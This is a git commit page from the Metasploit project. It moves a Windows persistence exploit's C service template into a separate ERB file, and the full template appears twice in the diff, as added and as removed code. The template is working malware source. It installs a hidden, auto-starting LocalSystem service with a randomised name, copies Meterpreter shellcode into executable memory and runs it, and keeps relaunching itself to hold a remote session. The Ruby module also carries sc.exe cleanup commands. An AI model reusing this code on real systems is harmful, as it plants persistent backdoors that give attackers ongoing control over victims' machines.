Merge pull request #5 from jrobles-r7/patch/service_code
Patch/service codeGSoC/Meterpreter_Web_Console
commit
b2c6dfa0df
|
@ -0,0 +1,304 @@
|
|||
#include <String.h>
|
||||
#include <Windows.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#define SERVICE_NAME <%= @service_name.inspect %>
|
||||
#define DISPLAY_NAME <%= @service_description.inspect %>
|
||||
#define RETRY_TIME <%= @retry_time %>
|
||||
|
||||
//
|
||||
// Globals
|
||||
//
|
||||
|
||||
SERVICE_STATUS status;
|
||||
SERVICE_STATUS_HANDLE hStatus;
|
||||
|
||||
//
|
||||
// Meterpreter connect back to host
|
||||
//
|
||||
|
||||
void start_meterpreter()
|
||||
{
|
||||
// Your meterpreter shell here
|
||||
<%= buf %>
|
||||
|
||||
LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
memcpy(buffer,buf,sizeof(buf));
|
||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL);
|
||||
WaitForSingleObject(hThread, -1); //INFINITE
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
//
|
||||
// Call self without parameter to start meterpreter
|
||||
//
|
||||
|
||||
void self_call()
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
char cmd[MAX_PATH];
|
||||
|
||||
if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {
|
||||
// Get module file name failed
|
||||
return;
|
||||
}
|
||||
|
||||
STARTUPINFO startup_info;
|
||||
PROCESS_INFORMATION process_information;
|
||||
|
||||
ZeroMemory(&startup_info, sizeof(startup_info));
|
||||
startup_info.cb = sizeof(startup_info);
|
||||
|
||||
ZeroMemory(&process_information, sizeof(process_information));
|
||||
|
||||
// If create process failed.
|
||||
// CREATE_NO_WINDOW = 0x08000000
|
||||
if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL,
|
||||
NULL, &startup_info, &process_information) == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// Wait until the process died.
|
||||
WaitForSingleObject(process_information.hProcess, -1);
|
||||
}
|
||||
|
||||
//
|
||||
// Process control requests from the Service Control Manager
|
||||
//
|
||||
|
||||
VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)
|
||||
{
|
||||
switch (fdwControl) {
|
||||
case SERVICE_CONTROL_STOP:
|
||||
case SERVICE_CONTROL_SHUTDOWN:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_STOPPED;
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_PAUSE:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_PAUSED;
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_CONTINUE:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_RUNNING;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
if (SetServiceStatus(hStatus, &status) == 0) {
|
||||
//printf("Cannot set service status (0x%08x)", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Main function of service
|
||||
//
|
||||
|
||||
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
|
||||
{
|
||||
// Register the service handler
|
||||
|
||||
hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
|
||||
|
||||
if (hStatus == 0) {
|
||||
//printf("Cannot register service handler (0x%08x)", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Initialize the service status structure
|
||||
|
||||
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
|
||||
status.dwCurrentState = SERVICE_RUNNING;
|
||||
status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwServiceSpecificExitCode = 0;
|
||||
status.dwCheckPoint = 0;
|
||||
status.dwWaitHint = 0;
|
||||
|
||||
if (SetServiceStatus(hStatus, &status) == 0) {
|
||||
//printf("Cannot set service status (0x%08x)", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
// Start the Meterpreter
|
||||
while (status.dwCurrentState == SERVICE_RUNNING) {
|
||||
self_call();
|
||||
Sleep(RETRY_TIME);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Installs and starts the Meterpreter service
|
||||
//
|
||||
|
||||
BOOL install_service()
|
||||
{
|
||||
SC_HANDLE hSCManager;
|
||||
SC_HANDLE hService;
|
||||
|
||||
char path[MAX_PATH];
|
||||
|
||||
// Get the current module name
|
||||
|
||||
if (!GetModuleFileName(NULL, path, MAX_PATH)) {
|
||||
//printf("Cannot get module name (0x%08x)", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Build the service command line
|
||||
|
||||
|
||||
char cmd[MAX_PATH];
|
||||
|
||||
int total_len = strlen(path) + <%= 3 + @start_cmd.length %>;
|
||||
if (total_len < 0 || total_len >= sizeof(cmd)){
|
||||
//printf("Cannot build service command line (0x%08x)", -1);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cmd[0] = '\0';
|
||||
strcat(cmd, "\"");
|
||||
strcat(cmd, path);
|
||||
strcat(cmd, "\" <%= @start_cmd %>");
|
||||
|
||||
// Open the service manager
|
||||
|
||||
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
|
||||
if (hSCManager == NULL) {
|
||||
//printf("Cannot open service manager (0x%08x)", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Create the service
|
||||
|
||||
hService = CreateService(
|
||||
hSCManager,
|
||||
SERVICE_NAME,
|
||||
DISPLAY_NAME,
|
||||
0xf01ff, // SERVICE_ALL_ACCESS
|
||||
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
cmd,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL, /* LocalSystem account */
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hService == NULL) {
|
||||
//printf("Cannot create service (0x%08x)", GetLastError());
|
||||
|
||||
CloseServiceHandle(hSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Start the service
|
||||
|
||||
char* args[] = { path, "service" };
|
||||
|
||||
if (StartService(hService, 2, (const char**)&args) == 0) {
|
||||
DWORD err = GetLastError();
|
||||
|
||||
if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING
|
||||
{
|
||||
//printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err);
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
|
||||
//printf("Service %s successfully installed.", SERVICE_NAME);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//
|
||||
// Start the service
|
||||
//
|
||||
|
||||
void start_service()
|
||||
{
|
||||
SERVICE_TABLE_ENTRY ServiceTable[] =
|
||||
{
|
||||
{ SERVICE_NAME, &ServiceMain },
|
||||
{ NULL, NULL }
|
||||
};
|
||||
|
||||
if (StartServiceCtrlDispatcher(ServiceTable) == 0) {
|
||||
//printf("Cannot start the service control dispatcher (0x%08x)",GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Main function
|
||||
//
|
||||
|
||||
int main()
|
||||
{
|
||||
// Parse the command line argument.
|
||||
// For now, int main(int argc, char *argv) is buggy with metasm.
|
||||
// So we choose this approach to achieve it.
|
||||
LPTSTR cmdline;
|
||||
cmdline = GetCommandLine();
|
||||
|
||||
char *argv[MAX_PATH];
|
||||
char * ch = strtok(cmdline," ");
|
||||
int argc = 0;
|
||||
|
||||
while (ch != NULL)
|
||||
{
|
||||
argv[argc] = malloc( strlen(ch)+1) ;
|
||||
strncpy(argv[argc], ch, strlen(ch)+1);
|
||||
|
||||
ch = strtok (NULL, " ");
|
||||
argc++;
|
||||
}
|
||||
|
||||
if (argc == 2) {
|
||||
|
||||
if (strcmp(argv[1], <%= @install_cmd.inspect %>) == 0) {
|
||||
|
||||
// Installs and starts the service
|
||||
|
||||
install_service();
|
||||
return 0;
|
||||
}
|
||||
else if (strcmp(argv[1], <%= @start_cmd.inspect %>) == 0) {
|
||||
// Starts the Meterpreter as a service
|
||||
|
||||
start_service();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
// Starts the Meterpreter as a normal application
|
||||
|
||||
start_meterpreter();
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -21,7 +21,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Green-m <greenm.xxoo[at]gmail.com>' ],
|
||||
'Version' => '$Revision:1$',
|
||||
'Platform' => [ 'windows' ],
|
||||
'Targets' => [['Windows', {}]],
|
||||
'SessionTypes' => [ 'meterpreter', 'shell'],
|
||||
|
@ -40,7 +39,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
|
||||
OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
|
@ -139,7 +137,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fd.close
|
||||
end
|
||||
|
||||
|
||||
# Function for creating log folder and returning log path
|
||||
#-------------------------------------------------------------------------------
|
||||
def log_file
|
||||
|
@ -172,317 +169,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
@clean_up_rc = "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" + @clean_up_rc
|
||||
@clean_up_rc = "execute -H -f sc.exe -a \"stop #{@service_name}\"\n" + @clean_up_rc
|
||||
|
||||
end
|
||||
|
||||
def metsvc_template(buf)
|
||||
@install_cmd = Rex::Text.rand_text_alpha(4..8)
|
||||
@start_cmd = Rex::Text.rand_text_alpha(4..8)
|
||||
%Q^
|
||||
#include <String.h>
|
||||
#include <Windows.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#define SERVICE_NAME #{@service_name.inspect}
|
||||
#define DISPLAY_NAME #{@service_description.inspect}
|
||||
#define RETRY_TIME #{@retry_time}
|
||||
|
||||
//
|
||||
// Globals
|
||||
//
|
||||
|
||||
SERVICE_STATUS status;
|
||||
SERVICE_STATUS_HANDLE hStatus;
|
||||
|
||||
//
|
||||
// Meterpreter connect back to host
|
||||
//
|
||||
|
||||
void start_meterpreter()
|
||||
{
|
||||
// Your meterpreter shell here
|
||||
#{buf}
|
||||
|
||||
LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
memcpy(buffer,buf,sizeof(buf));
|
||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL);
|
||||
WaitForSingleObject(hThread, -1); //INFINITE
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
//
|
||||
// Call self without parameter to start meterpreter
|
||||
//
|
||||
|
||||
void self_call()
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
char cmd[MAX_PATH];
|
||||
|
||||
if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {
|
||||
// Get module file name failed
|
||||
return;
|
||||
}
|
||||
|
||||
STARTUPINFO startup_info;
|
||||
PROCESS_INFORMATION process_information;
|
||||
|
||||
ZeroMemory(&startup_info, sizeof(startup_info));
|
||||
startup_info.cb = sizeof(startup_info);
|
||||
|
||||
ZeroMemory(&process_information, sizeof(process_information));
|
||||
|
||||
// If create process failed.
|
||||
// CREATE_NO_WINDOW = 0x08000000
|
||||
if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL,
|
||||
NULL, &startup_info, &process_information) == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// Wait until the process died.
|
||||
WaitForSingleObject(process_information.hProcess, -1);
|
||||
}
|
||||
|
||||
//
|
||||
// Process control requests from the Service Control Manager
|
||||
//
|
||||
|
||||
VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)
|
||||
{
|
||||
switch (fdwControl) {
|
||||
case SERVICE_CONTROL_STOP:
|
||||
case SERVICE_CONTROL_SHUTDOWN:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_STOPPED;
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_PAUSE:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_PAUSED;
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_CONTINUE:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_RUNNING;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
if (SetServiceStatus(hStatus, &status) == 0) {
|
||||
//printf("Cannot set service status (0x%08x)", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Main function of service
|
||||
//
|
||||
|
||||
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
|
||||
{
|
||||
// Register the service handler
|
||||
|
||||
hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
|
||||
|
||||
if (hStatus == 0) {
|
||||
//printf("Cannot register service handler (0x%08x)", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Initialize the service status structure
|
||||
|
||||
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
|
||||
status.dwCurrentState = SERVICE_RUNNING;
|
||||
status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwServiceSpecificExitCode = 0;
|
||||
status.dwCheckPoint = 0;
|
||||
status.dwWaitHint = 0;
|
||||
|
||||
if (SetServiceStatus(hStatus, &status) == 0) {
|
||||
//printf("Cannot set service status (0x%08x)", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
// Start the Meterpreter
|
||||
while (status.dwCurrentState == SERVICE_RUNNING) {
|
||||
self_call();
|
||||
Sleep(RETRY_TIME);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Installs and starts the Meterpreter service
|
||||
//
|
||||
|
||||
BOOL install_service()
|
||||
{
|
||||
SC_HANDLE hSCManager;
|
||||
SC_HANDLE hService;
|
||||
|
||||
char path[MAX_PATH];
|
||||
|
||||
// Get the current module name
|
||||
|
||||
if (!GetModuleFileName(NULL, path, MAX_PATH)) {
|
||||
//printf("Cannot get module name (0x%08x)", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Build the service command line
|
||||
|
||||
|
||||
char cmd[MAX_PATH];
|
||||
|
||||
int total_len = strlen(path) + #{3 + @start_cmd.length};
|
||||
if (total_len < 0 || total_len >= sizeof(cmd)){
|
||||
//printf("Cannot build service command line (0x%08x)", -1);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cmd[0] = '\\0';
|
||||
strcat(cmd, "\\"");
|
||||
strcat(cmd, path);
|
||||
strcat(cmd, "\\" #{@start_cmd}");
|
||||
|
||||
// Open the service manager
|
||||
|
||||
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
|
||||
if (hSCManager == NULL) {
|
||||
//printf("Cannot open service manager (0x%08x)", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Create the service
|
||||
|
||||
hService = CreateService(
|
||||
hSCManager,
|
||||
SERVICE_NAME,
|
||||
DISPLAY_NAME,
|
||||
0xf01ff, // SERVICE_ALL_ACCESS
|
||||
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
cmd,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL, /* LocalSystem account */
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hService == NULL) {
|
||||
//printf("Cannot create service (0x%08x)", GetLastError());
|
||||
|
||||
CloseServiceHandle(hSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Start the service
|
||||
|
||||
char* args[] = { path, "service" };
|
||||
|
||||
if (StartService(hService, 2, (const char**)&args) == 0) {
|
||||
DWORD err = GetLastError();
|
||||
|
||||
if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING
|
||||
{
|
||||
//printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err);
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
|
||||
//printf("Service %s successfully installed.", SERVICE_NAME);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//
|
||||
// Start the service
|
||||
//
|
||||
|
||||
void start_service()
|
||||
{
|
||||
SERVICE_TABLE_ENTRY ServiceTable[] =
|
||||
{
|
||||
{ SERVICE_NAME, &ServiceMain },
|
||||
{ NULL, NULL }
|
||||
};
|
||||
|
||||
if (StartServiceCtrlDispatcher(ServiceTable) == 0) {
|
||||
//printf("Cannot start the service control dispatcher (0x%08x)",GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Main function
|
||||
//
|
||||
|
||||
int main()
|
||||
{
|
||||
// Parse the command line argument.
|
||||
// For now, int main(int argc, char *argv) is buggy with metasm.
|
||||
// So we choose this approach to achieve it.
|
||||
LPTSTR cmdline;
|
||||
cmdline = GetCommandLine();
|
||||
|
||||
char *argv[MAX_PATH];
|
||||
char * ch = strtok(cmdline," ");
|
||||
int argc = 0;
|
||||
|
||||
while (ch != NULL)
|
||||
{
|
||||
argv[argc] = malloc( strlen(ch)+1) ;
|
||||
strncpy(argv[argc], ch, strlen(ch)+1);
|
||||
|
||||
ch = strtok (NULL, " ");
|
||||
argc++;
|
||||
}
|
||||
|
||||
if (argc == 2) {
|
||||
|
||||
if (strcmp(argv[1], #{@install_cmd.inspect}) == 0) {
|
||||
|
||||
// Installs and starts the service
|
||||
|
||||
install_service();
|
||||
return 0;
|
||||
}
|
||||
else if (strcmp(argv[1], #{@start_cmd.inspect}) == 0) {
|
||||
// Starts the Meterpreter as a service
|
||||
|
||||
start_service();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
// Starts the Meterpreter as a normal application
|
||||
|
||||
start_meterpreter();
|
||||
|
||||
return 0;
|
||||
}
|
||||
^
|
||||
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'persistence_service', 'service.erb'))
|
||||
ERB.new(template).result(binding)
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue